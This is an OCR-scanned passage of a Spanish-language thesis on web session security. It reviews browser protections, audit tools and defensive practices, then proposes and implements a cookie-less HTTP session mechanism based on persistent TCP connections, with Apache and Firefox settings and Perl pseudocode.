usuario realiza sobre una aplicacién web. Cuando esta vulne-
rabilidad estd presente, es posible hacer que el usuario realice
determinadas acciones sobre la aplicacién web sin saberlo.

5.1.4 Navegadores y complementos

Con el objeto de proteger a los usuarios, los navegadores web incorporan
de distinta forma funcionalidad y restricciones para evitar problemas de
seguridad. Adicionalmente, permiten a los usuarios incorporar funcionali-
dad especifica mediante la instalacién de complementos. Algunos de estos

complementos sirven para mejorar la seguridad de los usuarios.

5.1.4.1 Modo incégnito
El modo incégnito, es una funcionalidad en los navegadores que permite a
los usuarios navegar por Internet sin utilizar:

= Cookies preexistentes en el navegador

= Funcionalidad de complementos instalados

= Configuraciones especificas definidas

En modo incégnito, cuando el usuario cierra el navegador, se borrardn auto-

maticamente los siguientes datos de la navegacion:

= Cookies de sesion obtenidas durante el periodo de navegaciéon en mo-

do incégnito

Historial

Usuarios y contrasefas utilizadas

Informacién en caché de formularios completados.

Paginas en caché

5.1.4.2 Controles de Cross Site Scripting (XSS)

Uno de los casos mds palpables son los mecanismos de prevenciéon de XSS
reflejado implementados en algunos navegadores. Por ejemplo, Chrome de-
tecta y evita determinados ataques de XSS reflejado mientras que Firefox no.

Para inferir que existe un ataque de XSS, un navegador puede analizar los
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pardmetros enviados en un requerimiento HTTP y luego evaluar si la pagi-
na recibida incluye cédigo JavaScript con lo que previamente fue enviado
por el usuario.

La W3C a través de su grupo de trabajo WebAPPSEC [76] tiene como misién
el desarrollo de politicas y mecanismos técnicos para mejorar la seguridad
de aplicaciones web permitiendo comunicaciones seguras entre distintos si-
tios web. Entre las recomendaciones elaboradas podemos mencionar las po-
liticas “Same Origin” o “CORS” que restringen la interaccién que puede te-
ner un sitio web con recursos almacenados en otros sitios [75][30][34][72][29]-
Estos mecanismos tienden a cubrir una parte del problema relacionado con
los problemas de XSS. En [59] se dan distintas alternativas que pueden uti-
lizarse para evadir restricciones que los navegadores puedan implementar

para evitar este tipo de ataques.

La adopcién en los navegadores de estas recomendaciones es potestad del
equipo de desarrollo de cada navegador web. Los navegadores pueden o
no implementar estas recomendaciones como asi también otras propias en
base a evaluaciones propias. Debido a esto, los distintos navegadores web
no adoptan las mismas recomendaciones. Esto da lugar a posibles incompa-
tibilidades con aplicaciones existentes y propicia situaciones en las que un
ataque sea posible en funcién del navegador que el usuario utilice. El pro-
blema es que las medidas preventivas se terminan implementando en los

navegadores web en lugar de estar definidas en los estdndares.

5.1.4.3 Complementos

Existen distintos complementos que se pueden instalar en los navegadores
web que permiten mejorar la seguridad y la privacidad de los usuarios.
Algunos complementos reconocidos en este sentido son:

= NoScript - https://noscript.net/
Permite que el navegador ejecute codigo JavaScript, Java, Flash y de
otros complementos solamente de sitios que el usuario considera con-
fiables. De esta manera se previene que se ejecute c6digo hostil duran-
te la navegacion web que realice ataques de XSS.

= Complementos contra el rastreo de usuarios
Evitan que el navegador del usuario visite sitios que realizan activida-
des de rastreo. Algunos complementos de este tipo son:

e Ghostery - https://www.ghostery.com/.

e EFF Privacy Badger - https://www.eff.org/privacybadger.
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= Lightbeam - http://research.ecuad.ca/lightbeam/
Permite ilustrar la dependencia existente entre distintos sitios web con

el objeto de distinguir facilmente sitios que rastrean usuarios.

5.1.5 Herramientas para auditoria de seguridad

Existes diversas herramientas que sirven para realizar auditorias de segu-
ridad sobre aplicaciones web. Con ellas es posible detectar problemas de
seguridad de modo de poder implementar las contra-medidas apropiadas
en cada caso. De alguna manera, estas herramientas ayudan de manera in-

directa a la seguridad de las aplicaciones web y sus usuarios.

Herramientas que realizan una auditoria integral, en base a la busqueda de
distintos tipos de fallas:

= Acunetix - http://www.acunetix.com/
» Arachni - http://www.arachni-scanner.com/
s W3AF - http://w3af.org/

Herramientas que se especializan en el andlisis de un tipo de falla en particu-
lar. Por ejemplo, para la biasqueda de problemas de inyeccién SQL podemos
mencionar:

= SQLmap - http://sqlmap.org/
= The Mole - http://sourceforge.net/projects/themole/

Herramientas que combinan tanto la posibilidad de realizar una auditoria
integral como la de realizar pruebas de seguridad manuales:

= ZAP - Zed Attack Proxy -
https://www.owasp.org/index.php/0WASP_Zed_Attack_Proxy_Project

= Burp Suite - https://portswigger.net/burp/

Complementos para navegadores que permiten realizar distintos tipos de
pruebas manuales:

» HackBar-https://addons.mozilla.org/es/firefox/addon/hackbar/
» Live HTTP headers - http://livehttpheaders.mozdev.org/

= Tamper Data - http://tamperdata.mozdev.org/
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5.2 CONTRA-MEDIDAS Y BUENAS PRACTICAS

Hoy en dia, para implementar una aplicacién web que no tenga los proble-
mas de seguridad antes descriptos es necesario el compromiso de distintos
actores. Inicialmente se necesita que el desarrollador de la aplicaciéon web la
construya siendo consciente de los problemas de seguridad existentes. Ade-
mads se necesita que el administrador del servidor en el que se aloja dicha
aplicacién web configure adecuadamente tanto el servidor como los servi-
cios brindados. Por tltimo, también seria adecuado verificar periédicamente
la seguridad de todo el ecosistema relacionado con la aplicaciéon web.

5.2.1 Consideraciones para el desarrollador

Para mejorar la seguridad de las aplicaciones web, los desarrolladores de-
berian pensar en la seguridad desde la etapa misma del disefio. Deberfan
conocer y entender cémo se explotan las vulnerabilidades descriptas en el
Top Ten de OWASP. En resumen, para evitar tener problemas de seguridad,
los desarrolladores deberian considerar:

» Verificar todas las entradas de usuario de la aplicacién web. Esto, ade-
mds de hacerse del lado del cliente para validar la informacién in-
gresada por los usuarios, debe hacerse del lado del servidor. Las res-
tricciones realizadas del lado del cliente se pueden evadir. Con estas
validaciones, se pueden prevenir no sélo vulnerabilidades como “A3
Cross-Site Scripting” que pueden ser utilizadas para comprometer se-
siones de usuario, sino también vulnerabilidades como “A1 Inyection”
que pueden ser utilizadas para comprometer todos los datos almace-
nados persistidos en la base de datos.

= Con el objeto de prevenir vulnerabilidades tipo “A2 Broken Authen-
tication and Session Management”, la implementaciéon del manejo de
sesiones de la aplicacién web deberia considerar las siguientes buenas

précticas:

e Siempre generar en el servidor, el valor de las cookies de sesiéon
que van a ser utilizadas.

e Utilizar librerias o funciones propias del lenguaje para la genera-
cién de cookies.

e Renovar las cookies de los usuarios cuando cambian su nivel de
acceso o privilegios sobre la aplicaciéon web. Esto debe suceder
siempre que un usuario inicia o cierra su sesién. Ademads las co-

okies anteriores deben ser invalidadas del lado del servidor.
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e Dependiendo de la aplicacién web, se puede querer configurar
que las cookies tengan un tiempo méximo de vida. Utilizar el

atributo de cookies Expires siempre que esto sea posible.

e Configurar adecuadamente las cookies utilizadas. Usar atributos
Domain y Path asi como también activar los atributos HttpOnly

y Secure siempre que sea posible.

e Si prevalece la seguridad por sobre la movilidad del usuario, se
deberia asociar la direccién IP del cliente con la cookie de sesién
utilizada. Esto permite controlar que la cookie se utilice solamen-
te desde la IP asociada.

e En los enlaces y formularios, usar tokens aleatorios, con el objeto
de evitar fallas del tipo “A8 Cross Site Request Forgery”.

Todas estas consideraciones se describen de forma concisa y abreviada en
las hojas de referencia de OWASP (Cheat Sheets) [50] o de manera mas
completa en las guias de desarrollo[53] y de testing[56] de aplicaciones web
de OWASP.

5.2.2  Consideraciones para el administrador

Los administradores, al igual que los desarrolladores, deben conocer y en-
tender como se explotan las vulnerabilidades web. Ademaés los administra-
dores deberian:

s Mantener el sistema actualizado.

= Realizar acciones de aseguramiento o hardening sobre el sistema ope-
rativo:

e Deshabilitar servicios que no se deban prestar.

e Configurar reglas de firewall para sélo permitir conexiones a los
servicios ptblicos.

e Implementar una solucién de firewall de aplicaciones web
e Implementar una solucién de IDS de filesystem
e Implementar una solucién de IDS de host

e Configurar los logs del sistema y de los servicios utilizados de
modo de tener una visibilidad adecuada de todos los componen-
tes involucrados.

= Realizar acciones de aseguramiento o hardening sobre los servicios

utilizados:
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e Deshabilitar métodos HTTP considerados peligrosos: TRACE, CON-

NECT, DELETE y PUT tal como se sugiere en la guia de testing de
OWASP, de forma de minimizar problemas del tipo “As Security

Misconfiguration”.

e Configurar adecuadamente los errores mostrados de manera de
no revelar innecesariamente tipo y versién del servidor web como
del sistema operativo utilizado. Estas configuraciones también
ayudan a minimizar problemas del tipo “As Security Misconfi-
guration”.

e Siempre usar HTTPs en sitios que realizan autenticaciéon de usua-
rios y/o transfieren informacién sensible, como ser las cookies de
sesion, de forma de minimizar problemas de tipo “A6 Sensitive

Data Exposure”.

5.3 APORTE DE ESTA TESIS

Esta tesis propone un mecanismo alternativo para el manejo de sesiones
web. A diferencia del mecanismo actualmente utilizado, el mecanismo pro-
puesto es inmune a muchos de los problemas de seguridad mencionados
que atentan contra la seguridad de las sesiones de los usuarios.

En [9], Bock plantea que una solucién a los problemas derivados del uso de
cookies serfa cambiar HTTP por algo mds adecuado puesto que su funciona-
miento sin estados es una parte del problema. Si bien se puede coincidir con
Bock, el mecanismo propuesto en esta tesis aprovecha caracteristicas propias
de TCP para adaptar al protocolo HTTP para que opere de forma similar a
un protocolo con estados. Debido a esto, con el mecanismo propuesto, las
sesiones HTTP se pudieron implementar sin necesidad de utilizar cookies
del lado del cliente. Ademads, el mecanismo propuesto es transparente para
aplicaciones web existentes, por lo que no es necesario que las mismas sean
reescritas o adaptadas para poder utilizarlo.
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MECANISMO ALTERNATIVO PROPUESTO PARA EL
MANE]JO DE SESIONES HTTP

En esta tesis se propone un mecanismo alternativo para el manejo de las
sesiones web en el cual no sea necesario el intercambio de cookies entre
el navegador del usuario y la aplicacién web. Al no utilizar cookies en el
navegador del usuario, el mecanismo propuesto evita todos los problemas
de privacidad que hoy se tienen asociados a éstas. Ademas, a diferencia del
mecanismo utilizado actualmente, es inmune a la mayoria de los problemas
de seguridad mencionados en el capitulo: “Ataques a Sesiones HTTP”.

Para probar el mecanismo propuesto, se implementé una prueba de concep-
to con la que se verific con éxito el funcionamiento de distintas aplicaciones
web basadas en diferentes tecnologias: Perl, PHP, Python, C y Ruby. Del mis-
mo modo se analizaron los ataques descriptos anteriormente y se corroboré
que muchos de éstos no pueden ser utilizados. Inicialmente, el mecanis-
mo propuesto y las pruebas realizadas fueron presentadas en el capitulo
“Improving Security in Web Sessions: Special Management of Cookies” del
libro: “Emerging Trends in ICT Security”[43].

6.1 DESCRIPCION

La gestién de las distintas sesiones web requiere poder identificar cuales
requerimientos HTTP recibidos pertenecen a cada uno de los usuarios que
interacttian con el sistema web. El intercambio de cookies entre el cliente y
el servidor, es el mecanismo utilizado actualmente para resolver las sesiones
HTTP.

Otros protocolos que manejan estados, como TELNET, POP, IMAP, SSH, o
SMTP, se apoyan enormemente en el protocolo de transporte que utilizan:
TCP. Si la conexion TCP se cierra, deja de tener sentido el estado del protoco-
lo de aplicacién utilizado. El mecanismo propuesto se basa en el uso de una
tnica conexién TCP para transportar todos los datos de la sesién web de

un usuario. Al forzar el uso de una tnica conexién TCP por usuario, entre
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su navegador web y el servidor, no es necesario utilizar la cookie de sesion
para identificar al usuario. De esta manera, es posible asociar una conexién

TCP con un usuario web en particular.

6.2 MECANISMO ALTERNATIVO

El disparador de la idea planteada en esta tesis, fue: ;Por qué si HTTP es un
protocolo que utiliza TCP como protocolo de transporte, no puede al igual
que otros protocolos como POP, IMAP, FIP, TELNET o SSH entre otros,
identificar a sus usuarios en base a la conexién TCP?

HTTP abre una conexiéon TCP para transmitir parte de los datos y la cierra.
Si necesita transmitir mds informacién, es comin que se abra otra cone-
xién TCP. En general, durante el funcionamiento normal de HTTP, el cliente
HTTP abre una gran cantidad de conexiones TCP contra un mismo servi-
dor sobre las que transmite uno o mas requerimientos HTTP y recibe las
respuestas correspondientes.

Para forzar el uso de una tnica conexiéon TCP, se aproveché que a partir
de HTTP 1.1[27] se pueden reutilizar conexiones, lo que se conoce como
conexiones persistentes. Al lograr el uso de una tinica conexién TCP entre
el navegador del usuario y la aplicacién web, el mecanismo propuesto evitd
el envio de cookies a los usuarios al poder identificar a éstos en base a sus
datos de conexién TCP. Los datos de la conexién TCP pueden ser consul-
tados por las aplicaciones web a través de las variables REMOTE_ADDR y
REMOTE_PORT que el servidor HTTP administra. De esta forma, como se
ilustra en la figura 6.1, las aplicaciones web pueden gestionar las sesiones

de usuario de la siguiente manera:
1. El usuario realiza un requerimientos HTTP a la aplicacién web.

2. El requerimiento llega a la aplicaciéon web, la cual consulta sobre la
informacién de conexién (REMOTE_ADDR y REMOTE_PORT) para
identificar al usuario y en funcién de ello envia una respuesta HTTP

al usuario.

3. El usuario recibe la respuesta HTTP de la aplicacién web, la cual no
contiene informacién de cookies.

El concepto en el que se basa parte de esta tesis no es nuevo. Diferentes
protocolos de aplicacién que utilizan TCP como protocolo de transporte,
dan significado a la sesién mientras la conexién TCP continte establecida.
Si la conexiéon TCP se interrumpe, la sesion se pierde. Sin embargo, este
mecanismo no puede ser utilizado por aplicaciones web preexistentes sin

que éstas deban ser adaptadas.
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Figura 6.1: Mecanismo inicialmente propuesto
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La compatibilidad con aplicaciones preexistentes fue necesaria para evitar
que éstas tengan que ser reescritas para utilizar el mecanismo propuesto. En
una aplicaciéon web tradicional, dado que HTTP es un protocolo sin estados
(stateless) y que no hay forma de determinar que distintos requerimientos
HTTP que vienen por la misma conexién TCP se corresponden al mismo

usuario, era necesario realizar alguna mejora.

Dado que las aplicaciones web preexistentes utilizan el estindar RFC 6265
para el manejo de sesiones a través del intercambio de cookies con el cliente,
se extendi6 el mecanismo propuesto con un médulo de re-escritura y fil-
trado de cookies. Con la extension realizada, se posibilit6 el funcionamiento
transparente de aplicaciones web preexistentes sin necesidad de que las mis-
mas deban ser adaptadas. Es por esto que, aplicaciones web que implemen-
tan el manejo de sesiones HTTP mediante el intercambio de cookies con el
cliente, pueden funcionar con el mecanismo propuesto. La tinica diferencia
es que el cliente nunca recibird cookies de sesién.

El médulo de re-escritura y filtrado acttia como un proxy transparente entre
la aplicacion web el servidor HTTP en el que se aloja. En la figura 6.2 se
ilustrada el lugar donde funciona este médulo. El médulo de re-escritura y
filtrado intercepta los requerimientos HTTP y sus correspondientes respues-
tas para trasladar la 16gica de manejo de cookies presente en los navegadores
al lado del servidor HTTP. Para lograr esto, el médulo debe:

» Clasificar a los usuarios en base a datos del socket TCP: IP origen y
PORT origen.

= Gestionar las cookies de sesién de cada uno de los usuarios hacia y
desde la aplicacién web.
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Figura 6.2: Mecanismo propuesto compatible

Normalmente, cuando un usuario accede a una aplicacién web en la que se
utiliza el mecanismo propuesto, se observan las distintas etapas marcadas
sobre la figura 6.2:

1. El usuario realiza un requerimientos HTTP a la aplicacién web.

2. El requerimiento es interceptado por el médulo de re-escritura y filtra-
do el cudl realiza las siguientes tareas antes de reenviarlo a la aplica-
cién web:

= Borra informacién de cookies que puedan llegar a venir en el
requerimiento (normalmente no deberia llegar nada).

= Consulta si hay cookies asociadas para la conexién TCP del clien-
te. En el caso del primer requerimiento, no deberia haber cookies.
En caso contrario, inserta las cookies registradas para ese usua-
rio en el requerimiento HTTP recibido antes de que se envie a la
aplicacién web.

3. La aplicacién web recibe un requerimiento HTTP el cual puede o no
tener cookies de sesion.

= Si el requerimiento recibido no tiene cookies de sesién, la aplica-
cién genera las cookies necesarias para el usuario y las incluye en
la respuesta enviada al cliente web.

= Si el requerimiento recibido tiene cookies de sesion, la aplicacién
las utiliza para identificar al usuario como normalmente lo hacen.
En este caso, la aplicacion web no envia informacién de cookies

en la respuesta a menos que desee actualizarlas.

4. Larespuesta HTTP que la aplicaciéon web envia al usuario, es intercep-
tada por el médulo de re-escritura y filtrado antes de que el mismo
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salga del servidor HTTP. En este punto, el médulo de re-escritura y
filtrado realiza las siguientes tareas antes de reenviar dicha respuesta

al cliente:

= Almacena las cookies que la aplicacién web envié al usuario con
la conexién TCP correspondiente.

= Borra las cookies de sesi6n de la respuesta HTTP que la aplica-

cién web gener6 para el usuario.

5. El usuario recibe la respuesta HTTP de la aplicacién web, la cual no

contiene informacién de cookies.

64 ASPECTOS DE SEGURIDAD

Al igual que el mecanismo actualmente utilizado, el mecanismo propuesto
es vulnerable a ataques de Sniffing/MITM si se utiliza HTTP en lugar de
HTTPs. La tnica diferencia entre los mecanismos de manejo de sesiones es
que en el mecanismo propuesto no seria posible robar una cookie de sesién
vélida. Solamente seria posible robar datos de usuario y contrasefia. En caso
que se utilice HTTPs, el mecanismo propuesto es vulnerable a ataques de
SSL Spoofing del mismo modo que el mecanismo actual.

Frente a ataques de ingenieria social y de inspeccién de datos en el navega-
dor, las condiciones de seguridad no cambian con el mecanismo propuesto.
La tinica mejora con el mecanismo propuesto es que no hay cookies de
sesion susceptibles de ser robadas, independientemente de usuarios y con-

trasefias almacenadas en el navegador.

La mayor diferencia entre el mecanismo propuesto y el mecanismo utiliza-
do actualmente, estd en cOmo se ven afectadas las sesiones de usuario frente
a distintas vulnerabilidades que la aplicacion web pueda tener. En el meca-
nismo propuesto, los fallos de seguridad web que actualmente ponen en
riesgo las sesiones de usuario mediante el robo de cookies resulta inocuo.
Debido a ésto, si se utiliza el mecanismo propuesto en una aplicacién web
con cualquiera de las siguientes fallas, no se comprometen las sesiones de

los usuarios:
= Fallas XSS (Cross Site Scripting):
o Reflejadas.
e Almacenadas.
= Fallas XST “Cross Site Tracing”.

= Fallas de tipo “Autenticacién y Manejo de Sesiones Defectuoso”:
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e Fijacion de Cookies.
e No renovacion de Cookies.

Los ataques que afectan la integridad de las operaciones, como son CSRF
o Clickjaking, para funcionar necesitan que el usuario esté operando en el
sitio vulnerable. Para que esto suceda, el usuario tiene que estar conectado al
sitio o debe tener una cookie de sesién valida en el navegador. Debido a esto,
este ataque s6lo funcionarfa en el mecanismo propuesto si el usuario esta
conectado al sistema vulnerable en el momento del ataque. Esto se podria
evitar si el navegador, al querer resolver un enlace en un correo electrénico,

usa una nueva conexién HTTP en lugar de reutilizar una existente.

65 ASPECTOS DE PRIVACIDAD

Al ser HTTP un protocolo sin estados, las cookies de sesién fueron la forma
de implementar sesiones de usuario en aplicaciones web. La mayoria de los
problemas de privacidad de los usuarios en Internet surgieron a partir del

uso que se le dio a las cookies.

Con el mecanismo propuesto no es necesario intercambiar cookies de sesién
con el usuario para el manejo de sesiones. Esto hace que haga imposible el
actual modelo de seguimiento y tracking de usuarios en Internet. Sin em-
bargo, si bien las cookies son el método principal para realizar este tipo de
actividades, se podrian encontrar métodos alternativos en base a elemen-
tos que un sitio puede almacenar en el navegador del usuario. Algunos
ejemplos de otras técnicas que pueden permitir el tracking de usuarios web:
EverCookie[38], HSTS SuperCookies[36][2] y canvas fingerprinting[48].

6.6 ANALISIS DE VENTAJAS Y DESVENTAJAS

En la figura 6.3 se resume cémo afectan los distintos problemas de seguri-
dad y privacidad, a los mecanismo de manejo de sesiones web analizados:
el actual y el propuesto. Para el caso de los tres primeros ataques (Sniffing/-
MITM, SSL spoofing e inspeccién de datos en el navegador), el mecanismo
actual permite revelar usuarios, contrasefias y cookies de sesién mientras
que con el mecanismo propuesto solamente se pueden revelar usuarios y
contrasenias.

El caso de los ataques de CSRF y Clickjacking indicados con afectacién “par-
cial” en el mecanismo propuesto, es un caso especial. En estos ataques, el
usuario debe estar conectado al sitio vulnerable cuando recibe un enlace que

ejecuta una accién dentro de dicho sitio web. En el mecanismo propuesto,
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Mecanismos de manejo de
sesiones HTTP
Vulnerable a ataques de: Me?anrggn%ggsﬁtual hgfg:ﬂg?:

Sniffing / MITM Si Parcial
SSL spoofing Si Parcial
Inspeccion de datos en el navegador Si Parcial
XSS reflejado Si No
XSS almacenado Si No
XST Si No
Problemas de fijacién de cookies Si No
Problemas de renovacion de cookies Si No
CSRF Si Parcial
Clickjacking Si Parcial
Rastreo de usuarios Si No

Figura 6.3: Comparacion de aspectos de seguridad y privacidad en mecanis-
mos de manejo de sesiones

si el navegador abriese una nueva conexién TCP para resolver dicho enlace,
entonces el usuario no serfa vulnerable. Si bien esto es muy dependiente
del navegador, el mecanismo propuesto brinda herramientas adicionales pa-
ra que los navegadores resuelvan esta funcionalidad de otra manera y no
sean vulnerables a este tipo de ataques.

Por tultimo, el rastreo de usuarios con el mecanismo propuesto no es facti-
ble de ser realizado de la manera que actualmente se lo realiza. Sin embar-
go, dado que las cookies no son el tinico elemento que un sitio web pue-
de utilizar para rastrear al usuario, se podrian implementar otras técnicas.
Estas técnicas funcionarian independientemente del mecanismo utilizado
puesto que no dependen de cookies preexistentes. Estas técnicas son HSTS

SuperCookies[36][2] y canvas fingerprinting[48].
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6.6.1 Ventajas

Entre las claras ventajas del mecanismo propuesto podemos mencionar la
seguridad de las sesiones de usuario frente a distintas fallas de seguridad
en la programacion de la aplicacién web. Entre estas se pueden mencio-
nar: fallas de XSS (Cross Site Scripting) reflejadas y almacenadas, fallas XST
“Cross Site Tracing” y fallas de tipo “Autenticacién y Manejo de Sesiones
Defectuoso”.

También se mejora en lo que a privacidad del usuario se refiere al no in-
tercambiar con estos cookies. De todos modos vale mencionar que en este
aspecto hay muchas alternativas incipientes a la utilizacién de las cookies
para realizar tracking de usuarios.

Por dltimo, una ventaja a futuro que brinda el mecanismo propuesto es la
posibilidad de tener software que lo aproveche para evitar problemas de
CSRF o Clickjacking. Actualmente el navegador web tiene la posibilidad
de tener multiples pestafias abiertas, y cualquier referencia que el usuario
haga al sitio X, se hace con una tdnica identidad por parte del usuario: la
de sus cookies. Del mismo modo que podemos tener dos sesiones SSH a un
servidor, si el navegador pudiese manejar ese concepto, la seguridad de los
usuarios mejorarfa respecto de problemas que afectan la integridad de las

operaciones como CSRF o Clickjacking.

6.6.2  Desventajas

Claramente hay que distinguir distintos tipos de aplicaciones web. Las apli-
caciones de uso masivo como Facebook o Google de otras de cardcter mds
personal. Entre estas tltimas podriamos pensar en una aplicacién de Home-
Banking, o un portal seguro a funciones dentro de una organizacién para

un determinado tipo de usuario.

La desventaja mas grande que se le puede encontrar al mecanismo propues-
to es la que lo hace mds seguro. Portales de uso masivo podrian objetar
que la posibilidad de estar siempre conectado no estd contemplada como
tampoco la movilidad de los usuario. Estas dos caracteristicas son objetivos
comunes en los intereses de este tipo de aplicaciones.
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IMPLEMENTACION Y PRUEBAS

Desde el primer momento, esta tesis se centré en mejorar problemas de
seguridad y privacidad en la navegacién web evitando el intercambio de
cookies entre los usuarios y un servicio web. Esto se pudo lograr con la
implementaciéon de un mecanismo de manejo de sesiones HTTP que funcio-
na de la misma manera que la mayoria de los protocolos que utilizan TCP

como protocolo de transporte.

Las caracteristicas de conexiones persistentes de HTTP 1.1 posibilitaron la
utilizacién de una tnica conexién TCP para el intercambio de datos HTTP
entre el cliente y el servidor. Esto posibilité que las aplicaciones web puedan
implementar el manejo de sesiones utilizando simplemente las variables RE-
MOTE_ADDR y REMOTE_PORT que el servidor web envia a la aplicacién
web de acuerdo al estindar CGI o Common Gateway Interface.

El mecanismo propuesto permitié identificar los requerimientos de los dis-
tintos usuarios sin intercambiar cookies de sesién con los clientes HTTP.
Sin embargo, para lograr compatibilidad con aplicaciones web preexisten-
tes sin necesidad que sean adaptadas, se afiadi6 un médulo de re-escritura
y filtrado. Este médulo de re-escritura y filtrado permite que aplicaciones
web utilizadas hoy en dia utilicen de manera transparente el mecanismo

propuesto.

7.1 IMPLEMENTACION

Para la implementacién de la prueba de concepto del mecanismo propuesto
se utilizo el servidor HTTP Apache. Apache es uno de los servidores web
maés populares debido a su eficiencia y su extensibilidad. Claramente, la
versatilidad y estabilidad de Apache han sido algunas de las principales
razones de su amplia adopcién por parte de la comunidad de Internet.

Por otro lado, la arquitectura de software modular de Apache proporciona
una base excelente para la implementacién de propuestas como la de esta te-
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sis. Mds especificamente, el médulo de re-escritura y filtrado se implement6
como un moédulo Perl de Apache.

Del lado del cliente, se utilizé el navegador web Mozilla Firefox, el cual
fue utilizado con diversas configuraciones que no son utilizadas por defec-
to. También fueron considerados otros navegadores, pero no se utilizaron
debido a diferentes razones:

= Google Chrome: en este navegador el niimero maximo de conexiones
simultdneas hacia un servidor no es configurable. Dado que se quiere
forzar a que haya sélo una conexién TCP esto result6 en la no utiliza-
cién de este navegador.

= Opera: en este navegador, el manejo de las conexiones persistentes no
era el esperado. En las pruebas realizadas, Opera manejaba las cone-
xiones HTTP persistentes de forma similar al de las conexiones del
protocolo HTTP 1.0. Debido a esto, el navegador cerraba la conexién y
abria una nueva rapidamente. Al no encontrarse una manera de evitar

este comportamiento, se descarté también este navegador.

La implementacién del mecanismo propuesto para el manejo de sesiones
const6 de dos piezas fundamentales:

m El forzado del uso de una tinica conexién TCP tanto del lado del clien-
te como del servidor.

= La implementacién del médulo de re-escritura y filtrado.

7.1.1  Forzado de conexion TCP

Se realizaron diferentes configuraciones tanto en el servidor como en el
navegador web para habilitar el uso de conexiones persistentes con el objeto
de forzar el uso de una tnica conexién HTTP entre el cliente y el servidor.

7.1.1.1  Cliente
Las pruebas se realizaron sobre un cliente con las siguientes especificacio-
nes:

= Sistema Operativo: Linux Ubuntu 13.04 — Raring Ringtail.

= Navegador web: Mozilla Firefox 22.0, instalado con el sistema de pa-
quetes de Ubuntu: APT (Advanced Package Tool).

= Configuraciones especificas en el navegador web para indicar que:

¢ se utilicen conexiones persistentes,
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e se utilice un sola comunicacién con cada servidor web con el que

se interactia.

Se debe ingresar about:config en la barra de direcciones para cam-

biar las siguientes opciones del navegador:

# Mantenimiento de las conexiones
network.http.keep-alive.timeout 600
network.http.keep-alive true

# Cantidad de conexiones simultaneas contra un servidor
network.http.max-connections -per-server 1
network.http.max-persistent -connections -per-server 1

# Otras
network.http.pipelining true
network.http.use-cache false

Notar que la opcién de configuracién network.http.use-cache false no afec-
ta la persistencia de la conexién TCP en si, pero fue 1til para evitar el uso
de la caché durante las pruebas realizadas. Para refrescar la informacién en
caché, es necesario utilizar la combinacién <Control - F5> lo que provoca el

cierre de la conexion TCP actual.

7.1.1.2  Servidor
Las pruebas se realizaron sobre un servidor con las siguientes especificacio-
nes:

= Sistema Operativo: Linux Debian Stable (Wheezy).

= Servidor web: HTTP Server - Apache/2.2.22, instalado con el sistema
de paquetes de Debian: APT (Advanced Package Tool) usando el pa-

quete apache2-mpm-prefork.
= Configuraciones especificas en el servidor web para:
e Habilitar conexiones persistentes.

e Configurar un limite de tiempo por inactividad antes de cortar

una conexién TCP.

e Configurar una cantidad infinita de requerimientos que se pue-
den realizar a través de una conexion.
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HH##
### /etc/apache2/apache2.conf:
###

# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
KeepAlive: 0On

# KeepAliveTimeout: Number of seconds to wait for the next request
# from the same client on the same connection. 10 min = 600 sec
KeepAliveTimeout: 600

# MaxKeepAliveRequests: The maximum number of requests to allow during
# a persistent connection. Set to O to allow an unlimited amount.

# We recommend you leave this number high, for maximum performance.
MaxKeepAliveRequests: O

Usuario 1 Servidor HTTP
| / Médulq de
(omnrce) (el

, Fmodperl L

Usuario 2 =Y Mdﬂr-“:g:‘,\\,//
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Figura 7.1: Médulo de re-escritura y filtrado

7.1.2  Mddulo de re-escritura y filtrado

Conceptualmente, el mecanismo propuesto se basa en utilizar datos de la
conexién TCP para identificar las distintas sesiones HTTP de usuario. Ade-
mads, para permitir la compatibilidad con aplicaciones web existentes, el me-
canismo utiliza un médulo de re-escritura y filtrado para les permite seguir
manejando las sesiones web a través del intercambio de cookies con el usua-
rio.

Para implementar el médulo de re-escritura y filtrado, se aproveché la arqui-
tectura modular de Apache para implementarlo como un médulo Perl de
Apache. Como se ilustra en la imagen 7.1, el médulo de re-escritura y filtra-
do funciona del lado en el servidor entre el servidor HTTP y las aplicaciones
web.
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# Esta funcion atiende y manipula los requerimientos HTTP que
# llegan servidor provenientes del navegador del usuario. Esto
# se realiza antes que la aplicacién web reciba dichos

# requerimientos.

sub atender_requerimientos_HTTP {

# Extraer informacion de la conexion para identificar al
# usuario.

extraer_datos_de_conexion_TCP($ip,S$port);
extraer_headers_HTTP(5headers);

# Extraer cookies previamente asociadas al socket TCP
# utilizado por el cliente.

Scookies = '';

abrir_conexion_a_DB(5db);
extraer_cokies_asociadas($db,5$ip,$port,Scookies);
cerrar_conexion_a_DB(5db);

# Si hay cookies almacenadas en la DB, éstas deben ser
# agregadas al requerimiento HTTP que se esta procesando.
#
# En caso que el requerimiento tenga cookies previamente,
# su valor sera sobreescrito por las cookies registradas
# en la DB.
#
# Si1 no hubiese cookies registradas en 1la DB, las cookies
# que vienen con el requerimiento son eliminadas.
if (Scookies != '")

{ Sheaders-=>set('Cookie’,$cookies); }
else

{ Sheaders->unset('Cookie'); }

Figura 7.2: Rutina de atencién de requerimientos HTTP

7.1.2.1 Atencién de requerimientos

En la figura 7.2 se muestra el pseudocédigo de la funcién del médulo de re-
escritura y filtrado que procesa los requerimiento HTTP que provienen de
los navegadores de usuario antes de que lleguen a la aplicacién web. Para
cada requerimiento HTTP que realiza el usuario y llega al servidor web, es
necesario consultar en la base de datos si existen cookies para la conexién
TCP que lo identifica. En caso afirmativo, se insertan las cookies asociadas
al requerimiento HTTP antes de que sea enviado a la aplicaciéon web.

De acuerdo a la RFC "HTTP State Management Mechanism" el usuario debe
enviar en cada requerimiento HTTP la informacién de cookies correspon-
diente con el sitio visitado. Dado que el navegador nunca recibe cookies
cuando se utiliza el mecanismo propuesto, el médulo de re-escritura vy fil-
trado debe realizar las siguientes acciones sobre cada requerimiento HTTP

recibido por el servidor web:

= El médulo de re-escritura y filtrado consulta en su base de datos si hay
cookies asociadas a la conexién TCP a la que el requerimiento HTTP

pertenece.

= En caso afirmativo, el médulo agrega las cookies registradas al reque-
rimiento HTTP antes que este sea enviado a la aplicaciéon web. Como
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sub atender respuestas HTTP {

extraer_datos_de_conexién_TCP(%ip,Sport);
extraer_headers HTTP(Sheaders);

# Extraer cookies de la respuesta HTTP
@new_cookies = Sheaders->get('Set-Cookie');

# Borrar cookies del requerimiento HTTP a enviar al usuario.
Sheaders-»unset('Set-Cookie');

# Si hay cookies nuevas, actualizar las cookies registradas.
if (@new_cookie = 0) {

